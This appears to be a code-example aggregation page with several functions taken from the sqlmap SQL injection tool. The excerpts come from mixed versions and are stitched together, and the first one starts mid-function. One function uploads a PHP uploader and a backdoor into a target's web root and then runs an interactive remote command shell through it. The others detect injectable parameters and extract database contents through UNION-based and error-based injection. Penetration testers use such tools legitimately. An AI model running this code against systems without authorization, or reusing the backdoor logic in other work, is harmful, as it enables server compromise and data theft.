                errMsg = "Empty value supplied"
                raise sqlmapNoneDataException, errMsg

        elif test and test[0] in ("r", "R"):
            message = "please enter value for parameter 'regex': "
            test = readInput(message)

            if test:
                conf.regex = test

                if kb.nullConnection:
                    debugMsg = "turning off NULL connection "
                    debugMsg += "support because of regex checking"
                    logger.debug(debugMsg)

                    kb.nullConnection = None
            else:
                errMsg = "Empty value supplied"
                raise sqlmapNoneDataException, errMsg

        else:
            checkDynamicContent(firstPage, secondPage)

    return kb.pageStable
Example #47
0
    def osShell(self):
        """
        This method is used to write a PHP agent (cmd.php) on a writable
        remote directory within the web server document root.
        Such agent is written using the INTO OUTFILE MySQL DBMS
        functionality

        @todo: * Add a web application crawling functionality to detect
               all (at least most) web server directories and merge with
               Google results if the target host is a publicly available
               hostname or IP address;
               * Extend to all DBMS using their functionalities (UDF, stored
               procedures, etc) to write files on the system or directly
               execute commands on the system without passing by the agent;
               * Automatically detect the web server available interpreters
               parsing 'Server', 'X-Powered-By' and 'X-AspNet-Version' HTTP
               response headers;
               * Extend the agent to other interpreters rather than only PHP:
               ASP, JSP, CGI (Python, Perl, Ruby, Bash).
        """

        logMsg  = "retrieving web application directories"
        logger.info(logMsg)

        directories = getDirectories()

        if directories:
            logMsg  = "retrieved web server directories "
            logMsg += "'%s'" % ", ".join(d for d in directories)
            logger.info(logMsg)

            message  = "in addition you can provide a list of directories "
            message += "absolute path comma separated that you want sqlmap "
            message += "to try to upload the agent [/var/www/test]: "
            inputDirs = readInput(message, default="/var/www/test")
        else:
            message = "please provide the web server document root [/var/www]: "
            inputDocRoot = readInput(message, default="/var/www")

            if inputDocRoot:
                kb.docRoot = inputDocRoot
            else:
                kb.docRoot = "/var/www"

            message  = "please provide a list of directories absolute path "
            message += "comma separated that you want sqlmap to try to "
            message += "upload the agent [/var/www/test]: "
            inputDirs = readInput(message, default="/var/www/test")

        if inputDirs:
            inputDirs = inputDirs.replace(", ", ",")
            inputDirs = inputDirs.split(",")

            for inputDir in inputDirs:
                directories.add(inputDir)
        else:
            directories.add("/var/www/test")

        logMsg  = "trying to upload the uploader agent"
        logger.info(logMsg)

        directories = list(directories)
        directories.sort()
        uploaded = False

        backdoorName = "backdoor.php"
        backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
        uploaderName = "uploader.php"
        uploaderStr  = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))

        for directory in directories:
            if uploaded:
                break

            # Upload the uploader agent
            uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
            query  = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
            query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery

            query = agent.prefixQuery(" %s" % query)
            query = agent.postfixQuery(query)

            payload = agent.payload(newValue=query)
            page = Request.queryPage(payload)

            if kb.docRoot:
                requestDir = directory.replace(kb.docRoot, "")
            else:
                requestDir = directory

            baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
            uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
            page, _ = Request.getPage(url=uploaderUrl, direct=True)

            if "sqlmap backdoor uploader" not in page:
                warnMsg  = "unable to upload the uploader "
                warnMsg += "agent on '%s'" % directory
                logger.warn(warnMsg)

                continue

            logMsg  = "the uploader agent has been successfully uploaded "
            logMsg += "on '%s'" % directory
            logger.info(logMsg)

            # Upload the backdoor through the uploader agent
            multipartParams = {
                                "upload":    "1",
                                "file":      open(backdoorPath, "r"),
                                "uploadDir": directory,
                              }
            uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
            page, _ = Request.getPage(url=uploaderUrl, multipart=multipartParams)

            if "Backdoor uploaded" not in page:
                warnMsg  = "unable to upload the backdoor through "
                warnMsg += "the uploader agent on '%s'" % directory
                logger.warn(warnMsg)

                continue

            uploaded = True

            backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
            logMsg  = "the backdoor has been successfully uploaded on "
            logMsg += "'%s', go with your browser to " % directory
            logMsg += "'%s' and enjoy it!" % backdoorUrl
            logger.info(logMsg)

            message  = "do you want to use the uploaded backdoor as a "
            message += "shell to execute commands right now? [Y/n] "
            shell = readInput(message, default="Y")

            if shell in ("n", "N"):
                continue

            logMsg  = "calling OS shell. To quit type "
            logMsg += "'x' or 'q' and press ENTER"
            logger.info(logMsg)

            autoCompletion(osShell=True)

            while True:
                command = None

                try:
                    command = raw_input("$ ")
                except KeyboardInterrupt:
                    print
                    errMsg = "user aborted"
                    logger.error(errMsg)
                except EOFError:
                    print
                    errMsg = "exit"
                    logger.error(errMsg)
                    break

                if not command:
                    continue

                if command.lower() in ( "x", "q", "exit", "quit" ):
                    break

                cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
                page, _ = Request.getPage(url=cmdUrl, direct=True)
                output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)

                if output:
                    print output.group(1)
                else:
                    print "No output"
Example #48
0
def checkSqlInjection(place, parameter, value):
    # Store here the details about boundaries and payload used to
    # successfully inject
    injection = InjectionDict()

    # Localized thread data needed for some methods
    threadData = getCurrentThreadData()

    # Set the flag for SQL injection test mode
    kb.testMode = True

    for test in getSortedInjectionTests():
        try:
            if kb.endDetection:
                break

            title = test.title
            stype = test.stype
            clause = test.clause
            unionExtended = False

            if stype == PAYLOAD.TECHNIQUE.UNION:
                configUnion(test.request.char)

                if "[CHAR]" in title:
                    if conf.uChar is None:
                        continue
                    else:
                        title = title.replace("[CHAR]", conf.uChar)

                elif "[RANDNUM]" in title or "(NULL)" in title:
                    title = title.replace("[RANDNUM]", "random number")

                if test.request.columns == "[COLSTART]-[COLSTOP]":
                    if conf.uCols is None:
                        continue
                    else:
                        title = title.replace("[COLSTART]",
                                              str(conf.uColsStart))
                        title = title.replace("[COLSTOP]", str(conf.uColsStop))

                elif conf.uCols is not None:
                    debugMsg = "skipping test '%s' because the user " % title
                    debugMsg += "provided custom column range %s" % conf.uCols
                    logger.debug(debugMsg)
                    continue

                match = re.search(r"(\d+)-(\d+)", test.request.columns)
                if injection.data and match:
                    lower, upper = int(match.group(1)), int(match.group(2))
                    for _ in (lower, upper):
                        if _ > 1:
                            unionExtended = True
                            test.request.columns = re.sub(
                                r"\b%d\b" % _, str(2 * _),
                                test.request.columns)
                            title = re.sub(r"\b%d\b" % _, str(2 * _), title)
                            test.title = re.sub(r"\b%d\b" % _, str(2 * _),
                                                test.title)

            # Skip test if the user's wants to test only for a specific
            # technique
            if conf.tech and isinstance(conf.tech,
                                        list) and stype not in conf.tech:
                debugMsg = "skipping test '%s' because the user " % title
                debugMsg += "specified to test only for "
                debugMsg += "%s techniques" % " & ".join(
                    map(lambda x: PAYLOAD.SQLINJECTION[x], conf.tech))
                logger.debug(debugMsg)
                continue

            # Skip test if it is the same SQL injection type already
            # identified by another test
            if injection.data and stype in injection.data:
                debugMsg = "skipping test '%s' because " % title
                debugMsg += "the payload for %s has " % PAYLOAD.SQLINJECTION[
                    stype]
                debugMsg += "already been identified"
                logger.debug(debugMsg)
                continue

            # Skip tests if title is not included by the given filter
            if conf.testFilter:
                if not any(re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector,\
                test.details.dbms if "details" in test and "dbms" in test.details else "")):
                    debugMsg = "skipping test '%s' because " % title
                    debugMsg += "its name/vector/dbms is not included by the given filter"
                    logger.debug(debugMsg)
                    continue
            else:
                # Skip test if the risk is higher than the provided (or default)
                # value
                # Parse test's <risk>
                if test.risk > conf.risk:
                    debugMsg = "skipping test '%s' because the risk (%d) " % (
                        title, test.risk)
                    debugMsg += "is higher than the provided (%d)" % conf.risk
                    logger.debug(debugMsg)
                    continue

                # Skip test if the level is higher than the provided (or default)
                # value
                # Parse test's <level>
                if test.level > conf.level:
                    debugMsg = "skipping test '%s' because the level (%d) " % (
                        title, test.level)
                    debugMsg += "is higher than the provided (%d)" % conf.level
                    logger.debug(debugMsg)
                    continue

            # Skip DBMS-specific test if it does not match either the
            # previously identified or the user's provided DBMS (either
            # from program switch or from parsed error message(s))
            if "details" in test and "dbms" in test.details:
                dbms = test.details.dbms
            else:
                dbms = None

            if dbms is not None:
                if injection.dbms is not None and not intersect(
                        injection.dbms, dbms):
                    debugMsg = "skipping test '%s' because " % title
                    debugMsg += "the back-end DBMS identified is "
                    debugMsg += "%s" % injection.dbms
                    logger.debug(debugMsg)
                    continue

                if conf.dbms is not None and not intersect(
                        conf.dbms.lower(),
                    [value.lower() for value in arrayizeValue(dbms)]):
                    debugMsg = "skipping test '%s' because " % title
                    debugMsg += "the provided DBMS is %s" % conf.dbms
                    logger.debug(debugMsg)
                    continue

                if len(Backend.getErrorParsedDBMSes()) > 0 and not intersect(
                        dbms, Backend.getErrorParsedDBMSes()
                ) and kb.skipOthersDbms is None:
                    msg = "parsed error message(s) showed that the "
                    msg += "back-end DBMS could be %s. " % Format.getErrorParsedDBMSes(
                    )
                    msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"

                    if readInput(msg, default="Y") in ("y", "Y"):
                        kb.skipOthersDbms = Backend.getErrorParsedDBMSes()
                    else:
                        kb.skipOthersDbms = []

                if kb.skipOthersDbms and not intersect(dbms,
                                                       kb.skipOthersDbms):
                    debugMsg = "skipping test '%s' because " % title
                    debugMsg += "the parsed error message(s) showed "
                    debugMsg += "that the back-end DBMS could be "
                    debugMsg += "%s" % Format.getErrorParsedDBMSes()
                    logger.debug(debugMsg)
                    continue

            # Skip test if it does not match the same SQL injection clause
            # already identified by another test
            clauseMatch = False

            for clauseTest in clause:
                if injection.clause is not None and clauseTest in injection.clause:
                    clauseMatch = True
                    break

            if clause != [0] and injection.clause and injection.clause != [
                    0
            ] and not clauseMatch:
                debugMsg = "skipping test '%s' because the clauses " % title
                debugMsg += "differs from the clause already identified"
                logger.debug(debugMsg)
                continue

            # Skip test if the user provided custom character
            if conf.uChar is not None and ("random number" in title
                                           or "(NULL)" in title):
                debugMsg = "skipping test '%s' because the user " % title
                debugMsg += "provided a specific character, %s" % conf.uChar
                logger.debug(debugMsg)
                continue

            infoMsg = "testing '%s'" % title
            logger.info(infoMsg)

            # Force back-end DBMS according to the current
            # test value for proper payload unescaping
            Backend.forceDbms(dbms[0] if isinstance(dbms, list) else dbms)

            # Parse test's <request>
            comment = agent.getComment(
                test.request) if len(conf.boundaries) > 1 else None
            fstPayload = agent.cleanupPayload(test.request.payload,
                                              origValue=value)

            # Favoring non-string specific boundaries in case of digit-like parameter values
            if value.isdigit():
                boundaries = sorted(copy.deepcopy(conf.boundaries),
                                    key=lambda x: any(_ in
                                                      (x.prefix or "") or _ in
                                                      (x.suffix or "")
                                                      for _ in ('"', '\'')))
            else:
                boundaries = conf.boundaries

            for boundary in boundaries:
                injectable = False

                # Skip boundary if the level is higher than the provided (or
                # default) value
                # Parse boundary's <level>
                if boundary.level > conf.level:
                    continue

                # Skip boundary if it does not match against test's <clause>
                # Parse test's <clause> and boundary's <clause>
                clauseMatch = False

                for clauseTest in test.clause:
                    if clauseTest in boundary.clause:
                        clauseMatch = True
                        break

                if test.clause != [0] and boundary.clause != [
                        0
                ] and not clauseMatch:
                    continue

                # Skip boundary if it does not match against test's <where>
                # Parse test's <where> and boundary's <where>
                whereMatch = False

                for where in test.where:
                    if where in boundary.where:
                        whereMatch = True
                        break

                if not whereMatch:
                    continue

                # Parse boundary's <prefix>, <suffix> and <ptype>
                prefix = boundary.prefix if boundary.prefix else ""
                suffix = boundary.suffix if boundary.suffix else ""
                ptype = boundary.ptype

                # If the previous injections succeeded, we know which prefix,
                # suffix and parameter type to use for further tests, no
                # need to cycle through the boundaries for the following tests
                condBound = (injection.prefix is not None
                             and injection.suffix is not None)
                condBound &= (injection.prefix != prefix
                              or injection.suffix != suffix)
                condType = injection.ptype is not None and injection.ptype != ptype

                if condBound or condType:
                    continue

                # For each test's <where>
                for where in test.where:
                    templatePayload = None
                    vector = None

                    # Threat the parameter original value according to the
                    # test's <where> tag
                    if where == PAYLOAD.WHERE.ORIGINAL:
                        origValue = value
                    elif where == PAYLOAD.WHERE.NEGATIVE:
                        # Use different page template than the original
                        # one as we are changing parameters value, which
                        # will likely result in a different content
                        if conf.invalidLogical:
                            origValue = "%s AND %s=%s" % (
                                origValue, randomInt(), randomInt())
                        elif conf.invalidBignum:
                            origValue = "%d.%d" % (randomInt(6), randomInt(1))
                        else:
                            origValue = "-%s" % randomInt()
                        templatePayload = agent.payload(place,
                                                        parameter,
                                                        newValue=origValue,
                                                        where=where)
                    elif where == PAYLOAD.WHERE.REPLACE:
                        origValue = ""

                    kb.pageTemplate, kb.errorIsNone = getPageTemplate(
                        templatePayload, place)

                    # Forge request payload by prepending with boundary's
                    # prefix and appending the boundary's suffix to the
                    # test's ' <payload><comment> ' string
                    boundPayload = agent.prefixQuery(fstPayload, prefix, where,
                                                     clause)
                    boundPayload = agent.suffixQuery(boundPayload, comment,
                                                     suffix, where)
                    reqPayload = agent.payload(place,
                                               parameter,
                                               newValue=boundPayload,
                                               where=where)

                    # Perform the test's request and check whether or not the
                    # payload was successful
                    # Parse test's <response>
                    for method, check in test.response.items():
                        check = agent.cleanupPayload(check, origValue=value)

                        # In case of boolean-based blind SQL injection
                        if method == PAYLOAD.METHOD.COMPARISON:
                            # Generate payload used for comparison
                            def genCmpPayload():
                                sndPayload = agent.cleanupPayload(
                                    test.response.comparison, origValue=value)

                                # Forge response payload by prepending with
                                # boundary's prefix and appending the boundary's
                                # suffix to the test's ' <payload><comment> '
                                # string
                                boundPayload = agent.prefixQuery(
                                    sndPayload, prefix, where, clause)
                                boundPayload = agent.suffixQuery(
                                    boundPayload, comment, suffix, where)
                                cmpPayload = agent.payload(
                                    place,
                                    parameter,
                                    newValue=boundPayload,
                                    where=where)

                                return cmpPayload

                            # Useful to set kb.matchRatio at first based on
                            # the False response content
                            kb.matchRatio = None
                            kb.negativeLogic = (
                                where == PAYLOAD.WHERE.NEGATIVE)
                            Request.queryPage(genCmpPayload(),
                                              place,
                                              raise404=False)
                            falsePage = threadData.lastComparisonPage or ""

                            # Perform the test's True request
                            trueResult = Request.queryPage(reqPayload,
                                                           place,
                                                           raise404=False)
                            truePage = threadData.lastComparisonPage or ""

                            if trueResult:
                                falseResult = Request.queryPage(
                                    genCmpPayload(), place, raise404=False)

                                # Perform the test's False request
                                if not falseResult:
                                    infoMsg = "%s parameter '%s' is '%s' injectable " % (
                                        place, parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                            if not injectable and not any(
                                (conf.string, conf.notString,
                                 conf.regexp)) and kb.pageStable:
                                trueSet = set(extractTextTagContent(truePage))
                                falseSet = set(
                                    extractTextTagContent(falsePage))
                                candidates = filter(
                                    None,
                                    (_.strip()
                                     if _.strip() in (kb.pageTemplate or "")
                                     and _.strip() not in falsePage else None
                                     for _ in (trueSet - falseSet)))
                                if candidates:
                                    conf.string = random.sample(candidates,
                                                                1)[0]
                                    infoMsg = "%s parameter '%s' seems to be '%s' injectable (with --string=\"%s\")" % (
                                        place, parameter, title,
                                        repr(conf.string).lstrip('u').strip(
                                            "'"))
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of error-based SQL injection
                        elif method == PAYLOAD.METHOD.GREP:
                            # Perform the test's request and grep the response
                            # body for the test's <grep> regular expression
                            try:
                                page, headers = Request.queryPage(
                                    reqPayload,
                                    place,
                                    content=True,
                                    raise404=False)
                                output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
                                        or extractRegexResult(check, listToStrValue(headers.headers \
                                        if headers else None), re.DOTALL | re.IGNORECASE) \
                                        or extractRegexResult(check, threadData.lastRedirectMsg[1] \
                                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                                if output:
                                    result = output == "1"

                                    if result:
                                        infoMsg = "%s parameter '%s' is '%s' injectable " % (
                                            place, parameter, title)
                                        logger.info(infoMsg)

                                        injectable = True

                            except sqlmapConnectionException, msg:
                                debugMsg = "problem occured most likely because the "
                                debugMsg += "server hasn't recovered as expected from the "
                                debugMsg += "error-based payload used ('%s')" % msg
                                logger.debug(debugMsg)

                        # In case of time-based blind or stacked queries
                        # SQL injections
                        elif method == PAYLOAD.METHOD.TIME:
                            # Perform the test's request
                            trueResult = Request.queryPage(
                                reqPayload,
                                place,
                                timeBasedCompare=True,
                                raise404=False)

                            if trueResult:
                                # Confirm test's results
                                trueResult = Request.queryPage(
                                    reqPayload,
                                    place,
                                    timeBasedCompare=True,
                                    raise404=False)

                                if trueResult:
                                    infoMsg = "%s parameter '%s' is '%s' injectable " % (
                                        place, parameter, title)
                                    logger.info(infoMsg)

                                    injectable = True

                        # In case of UNION query SQL injection
                        elif method == PAYLOAD.METHOD.UNION:
                            # Test for UNION injection and set the sample
                            # payload as well as the vector.
                            # NOTE: vector is set to a tuple with 6 elements,
                            # used afterwards by Agent.forgeInbandQuery()
                            # method to forge the UNION query payload

                            configUnion(test.request.char,
                                        test.request.columns)

                            if not Backend.getIdentifiedDbms():
                                warnMsg = "using unescaped version of the test "
                                warnMsg += "because of zero knowledge of the "
                                warnMsg += "back-end DBMS. You can try to "
                                warnMsg += "explicitly set it using the --dbms "
                                warnMsg += "option"
                                singleTimeWarnMessage(warnMsg)

                            if unionExtended:
                                infoMsg = "automatically extending ranges "
                                infoMsg += "for UNION query injection technique tests as "
                                infoMsg += "there is at least one other potential "
                                infoMsg += "injection technique found"
                                singleTimeLogMessage(infoMsg)

                            # Test for UNION query SQL injection
                            reqPayload, vector = unionTest(
                                comment, place, parameter, value, prefix,
                                suffix)

                            if isinstance(reqPayload, basestring):
                                infoMsg = "%s parameter '%s' is '%s' injectable" % (
                                    place, parameter, title)
                                logger.info(infoMsg)

                                injectable = True

                                # Overwrite 'where' because it can be set
                                # by unionTest() directly
                                where = vector[6]

                        kb.previousMethod = method

                    # If the injection test was successful feed the injection
                    # object with the test's details
                    if injectable is True:
                        # Feed with the boundaries details only the first time a
                        # test has been successful
                        if injection.place is None or injection.parameter is None:
                            if place in (PLACE.USER_AGENT, PLACE.REFERER,
                                         PLACE.HOST):
                                injection.parameter = place
                            else:
                                injection.parameter = parameter

                            injection.place = place
                            injection.ptype = ptype
                            injection.prefix = prefix
                            injection.suffix = suffix
                            injection.clause = clause

                        # Feed with test details every time a test is successful
                        if hasattr(test, "details"):
                            for dKey, dValue in test.details.items():
                                if dKey == "dbms":
                                    if not isinstance(dValue, list):
                                        injection.dbms = Backend.setDbms(
                                            dValue)
                                    else:
                                        Backend.forceDbms(dValue[0], True)
                                elif dKey == "dbms_version" and injection.dbms_version is None and not conf.testFilter:
                                    injection.dbms_version = Backend.setVersion(
                                        dValue)
                                elif dKey == "os" and injection.os is None:
                                    injection.os = Backend.setOs(dValue)

                        if vector is None and "vector" in test and test.vector is not None:
                            vector = "%s%s" % (test.vector, comment or "")

                        injection.data[stype] = AttribDict()
                        injection.data[stype].title = title
                        injection.data[
                            stype].payload = agent.removePayloadDelimiters(
                                reqPayload)
                        injection.data[stype].where = where
                        injection.data[stype].vector = vector
                        injection.data[stype].comment = comment
                        injection.data[stype].templatePayload = templatePayload
                        injection.data[stype].matchRatio = kb.matchRatio

                        injection.conf.textOnly = conf.textOnly
                        injection.conf.titles = conf.titles
                        injection.conf.string = conf.string
                        injection.conf.notString = conf.notString
                        injection.conf.regexp = conf.regexp
                        injection.conf.optimize = conf.optimize

                        if conf.beep:
                            beep()

                        # There is no need to perform this test for other
                        # <where> tags
                        break

                if injectable is True:
                    kb.vulnHosts.add(conf.hostname)
                    break
Example #49
0
def _oneShotUnionUse(expression, unpack=True, limited=False):
    retVal = hashDBRetrieve(
        "%s%s" % (conf.hexConvert or False, expression),
        checkConf=True)  # as UNION data is stored raw unconverted

    threadData = getCurrentThreadData()
    threadData.resumed = retVal is not None

    if retVal is None:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector

        if not kb.jsonAggMode:
            injExpression = unescaper.escape(
                agent.concatQuery(expression, unpack))
            kb.unionDuplicates = vector[7]
            kb.forcePartialUnion = vector[8]

            # Note: introduced columns in 1.4.2.42#dev
            try:
                kb.tableFrom = vector[9]
                kb.unionTemplate = vector[10]
            except IndexError:
                pass

            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
                                          vector[2], vector[3], vector[4],
                                          vector[5], vector[6], None, limited)
            where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
                6]
        else:
            injExpression = unescaper.escape(expression)
            where = vector[6]
            query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
                                          vector[2], vector[3], vector[4],
                                          vector[5], vector[6], None, False)

        payload = agent.payload(newValue=query, where=where)

        # Perform the request
        page, headers, _ = Request.queryPage(payload,
                                             content=True,
                                             raise404=False)

        incrementCounter(PAYLOAD.TECHNIQUE.UNION)

        if kb.jsonAggMode:
            if Backend.isDbms(DBMS.MSSQL):
                output = extractRegexResult(
                    r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop),
                    removeReflectiveValues(page or "", payload))
                if output:
                    try:
                        retVal = ""
                        fields = re.findall(
                            r'"([^"]+)":',
                            extractRegexResult(r"{(?P<result>[^}]+)}", output))
                        for row in json.loads(output):
                            retVal += "%s%s%s" % (
                                kb.chars.start,
                                kb.chars.delimiter.join(
                                    getUnicode(row[field] or NULL)
                                    for field in fields), kb.chars.stop)
                    except:
                        pass
                    else:
                        retVal = getUnicode(retVal)
            elif Backend.isDbms(DBMS.PGSQL):
                output = extractRegexResult(
                    r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop),
                    removeReflectiveValues(page or "", payload))
                if output:
                    retVal = output
            else:
                output = extractRegexResult(
                    r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop),
                    removeReflectiveValues(page or "", payload))
                if output:
                    try:
                        retVal = ""
                        for row in json.loads(output):
                            retVal += "%s%s%s" % (kb.chars.start, row,
                                                  kb.chars.stop)
                    except:
                        pass
                    else:
                        retVal = getUnicode(retVal)
        else:
            # Parse the returned page to get the exact UNION-based
            # SQL injection output
            def _(regex):
                return firstNotNone(
                    extractRegexResult(regex,
                                       removeReflectiveValues(page, payload),
                                       re.DOTALL | re.IGNORECASE),
                    extractRegexResult(
                        regex,
                        removeReflectiveValues(
                            listToStrValue((
                                _ for _ in headers.headers
                                if not _.startswith(HTTP_HEADER.URI)
                            ) if headers else None), payload, True),
                        re.DOTALL | re.IGNORECASE))

            # Automatically patching last char trimming cases
            if kb.chars.stop not in (page
                                     or "") and kb.chars.stop[:-1] in (page
                                                                       or ""):
                warnMsg = "automatically patching output having last char trimmed"
                singleTimeWarnMessage(warnMsg)
                page = page.replace(kb.chars.stop[:-1], kb.chars.stop)

            retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))

        if retVal is not None:
            retVal = getUnicode(retVal, kb.pageEncoding)

            # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
            if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
                retVal = htmlUnescape(retVal).replace("<br>", "\n")

            hashDBWrite("%s%s" % (conf.hexConvert or False, expression),
                        retVal)

        elif not kb.jsonAggMode:
            trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))

            if trimmed:
                warnMsg = "possible server trimmed output detected "
                warnMsg += "(probably due to its length and/or content): "
                warnMsg += safecharencode(trimmed)
                logger.warn(warnMsg)

            elif re.search(r"ORDER BY [^ ]+\Z", expression):
                debugMsg = "retrying failed SQL query without the ORDER BY clause"
                singleTimeDebugMessage(debugMsg)

                expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
                retVal = _oneShotUnionUse(expression, unpack, limited)

            elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)",
                                        agent.nullAndCastField(expression)):
                debugMsg = "turning off NATIONAL CHARACTER casting"  # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
                singleTimeDebugMessage(debugMsg)

                kb.nchar = False
                retVal = _oneShotUnionUse(expression, unpack, limited)
    else:
        vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
        kb.unionDuplicates = vector[7]

    return retVal
Example #50
0
def _oneShotErrorUse(expression, field=None, chunkTest=False):
    offset = 1
    partialValue = None
    threadData = getCurrentThreadData()
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal and PARTIAL_VALUE_MARKER in retVal:
        partialValue = retVal = retVal.replace(PARTIAL_VALUE_MARKER, "")
        logger.info("resuming partial value: '%s'" %
                    _formatPartialContent(partialValue))
        offset += len(partialValue)

    threadData.resumed = retVal is not None and not partialValue

    if any(
            Backend.isDbms(dbms) for dbms in (DBMS.MYSQL, DBMS.MSSQL)
    ) and kb.errorChunkLength is None and not chunkTest and not kb.testMode:
        debugMsg = "searching for error chunk length..."
        logger.debug(debugMsg)

        current = MAX_ERROR_CHUNK_LENGTH
        while current >= MIN_ERROR_CHUNK_LENGTH:
            testChar = str(current % 10)
            testQuery = "SELECT %s('%s',%d)" % ("REPEAT" if Backend.isDbms(
                DBMS.MYSQL) else "REPLICATE", testChar, current)
            result = unArrayizeValue(
                _oneShotErrorUse(testQuery, chunkTest=True))
            if result and testChar in result:
                if result == testChar * current:
                    kb.errorChunkLength = current
                    break
                else:
                    current = len(result) - len(kb.chars.stop)
            else:
                current = current / 2

        if kb.errorChunkLength:
            hashDBWrite(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH, kb.errorChunkLength)
        else:
            kb.errorChunkLength = 0

    if retVal is None or partialValue:
        try:
            while True:
                check = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
                trimcheck = "%s(?P<result>[^<]*)" % (kb.chars.start)

                if field:
                    nulledCastedField = agent.nullAndCastField(field)

                    if any(
                            Backend.isDbms(dbms)
                            for dbms in (DBMS.MYSQL, DBMS.MSSQL)) and not any(
                                _ in field for _ in ("COUNT", "CASE")
                            ) and kb.errorChunkLength and not chunkTest:
                        extendedField = re.search(
                            r"[^ ,]*%s[^ ,]*" % re.escape(field),
                            expression).group(0)
                        if extendedField != field:  # e.g. MIN(surname)
                            nulledCastedField = extendedField.replace(
                                field, nulledCastedField)
                            field = extendedField
                        nulledCastedField = queries[Backend.getIdentifiedDbms(
                        )].substring.query % (nulledCastedField, offset,
                                              kb.errorChunkLength)

                # Forge the error-based SQL injection request
                vector = kb.injection.data[kb.technique].vector
                query = agent.prefixQuery(vector)
                query = agent.suffixQuery(query)
                injExpression = expression.replace(field, nulledCastedField,
                                                   1) if field else expression
                injExpression = unescaper.escape(injExpression)
                injExpression = query.replace("[QUERY]", injExpression)
                payload = agent.payload(newValue=injExpression)

                # Perform the request
                page, headers = Request.queryPage(payload,
                                                  content=True,
                                                  raise404=False)

                incrementCounter(kb.technique)

                if page and conf.noEscape:
                    page = re.sub(
                        r"('|\%%27)%s('|\%%27).*?('|\%%27)%s('|\%%27)" %
                        (kb.chars.start, kb.chars.stop), "", page)

                # Parse the returned page to get the exact error-based
                # SQL injection output
                output = reduce(lambda x, y: x if x is not None else y, (\
                        extractRegexResult(check, page, re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
                        if headers else None), re.DOTALL | re.IGNORECASE), \
                        extractRegexResult(check, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)), \
                        None)

                if output is not None:
                    output = getUnicode(output)
                else:
                    trimmed = extractRegexResult(trimcheck, page, re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, listToStrValue([headers[header] for header in headers if header.lower() != HTTP_HEADER.URI.lower()] \
                        if headers else None), re.DOTALL | re.IGNORECASE) \
                        or extractRegexResult(trimcheck, threadData.lastRedirectMsg[1] \
                        if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == \
                        threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)

                    if trimmed:
                        if not chunkTest:
                            warnMsg = "possible server trimmed output detected "
                            warnMsg += "(due to its length and/or content): "
                            warnMsg += safecharencode(trimmed)
                            logger.warn(warnMsg)

                        if not kb.testMode:
                            check = "(?P<result>.*?)%s" % kb.chars.stop[:2]
                            output = extractRegexResult(
                                check, trimmed, re.IGNORECASE)

                            if not output:
                                check = "(?P<result>[^\s<>'\"]+)"
                                output = extractRegexResult(
                                    check, trimmed, re.IGNORECASE)
                            else:
                                output = output.rstrip()

                if any(
                        Backend.isDbms(dbms)
                        for dbms in (DBMS.MYSQL, DBMS.MSSQL)):
                    if offset == 1:
                        retVal = output
                    else:
                        retVal += output if output else ''

                    if output and kb.errorChunkLength and len(
                            output) >= kb.errorChunkLength and not chunkTest:
                        offset += kb.errorChunkLength
                    else:
                        break

                    if kb.fileReadMode and output:
                        dataToStdout(
                            _formatPartialContent(output).replace(
                                r"\n", "\n").replace(r"\t", "\t"))
                else:
                    retVal = output
                    break
        except:
            if retVal is not None:
                hashDBWrite(expression,
                            "%s%s" % (retVal, PARTIAL_VALUE_MARKER))
            raise

        retVal = decodeHexValue(retVal) if conf.hexConvert else retVal

        if isinstance(retVal, basestring):
            retVal = htmlunescape(retVal).replace("<br>", "\n")

        retVal = _errorReplaceChars(retVal)

        if retVal is not None:
            hashDBWrite(expression, retVal)

    else:
        _ = "%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop)
        retVal = extractRegexResult(_, retVal,
                                    re.DOTALL | re.IGNORECASE) or retVal

    return safecharencode(retVal) if kb.safeCharEncode else retVal
Example #51
0
